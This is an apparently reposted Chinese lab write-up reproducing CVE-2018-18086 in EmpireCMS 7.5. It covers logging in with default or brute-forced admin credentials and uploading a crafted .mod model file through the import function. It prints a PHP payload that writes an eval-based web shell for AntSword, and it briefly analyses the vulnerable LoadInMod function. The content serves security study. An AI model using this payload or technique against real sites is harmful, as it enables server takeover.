帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现-Toy模板网

这篇具有很好参考价值的文章主要介绍了帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

一、简述👋

漏洞描述
EmpireCMS（帝国网站管理系统）是一套内容管理系统（CMS），EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行，EmpireCMS7.5版本中的/e/class/moddofun.php文件的LoadInMod函数存在安全漏洞,攻击者可利用该漏洞上传任意文件，该漏洞编号为CVE-2018-18086
影响版本
EmpireCMS<=7.5
官方下载EmpireCMS V7.5
下载地址：http://www.phome.net/download/

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

如果对docker安装不熟悉，可以参考文章：Centos使用Docker搭建Lamp环境，一步到位
这样打开网站IP后，发现直接就是根目录，我们需要把/var/www/html/empirecms目录里的文件复制到/var/www/html/去，避免暴露根目录

1、直接在empirecms/e/admin下打开管理后台

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

2、在爆破或账号密码进入后台后（默认账号密码为admin/123456）

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

3、依次点开系统，打开管理数据表，选择导入系统模型

新建shell.php.mod文件并上传，文件内容如下：

file_put_contents("1shell.php",<?php phpinfo();?>);

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

4、在导入文件后

生成的1shell.php文件在/admin目录下，即可访问empirecms/e/admin/shell.php

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现
5、同时，如果为了连接蚁剑等，注意$符号需要转义

<?php  
	file_put_contents("getshell.php","<?php @eval(\$_POST[123]);?>");
?>

1、下载安装文件分析，在/e/admin/ecmsmod.php文件下的导入模型

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

2、而进入到LoadlnMod函数，来到/e/class/moddofun.php

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现

3、因为一开始的导入模型文件是在/e/admin目录下，所以创建的shell.php在/admin目录下

帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现文章来源地址https://www.toymoban.com/news/detail-412512.html

到了这里，关于帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！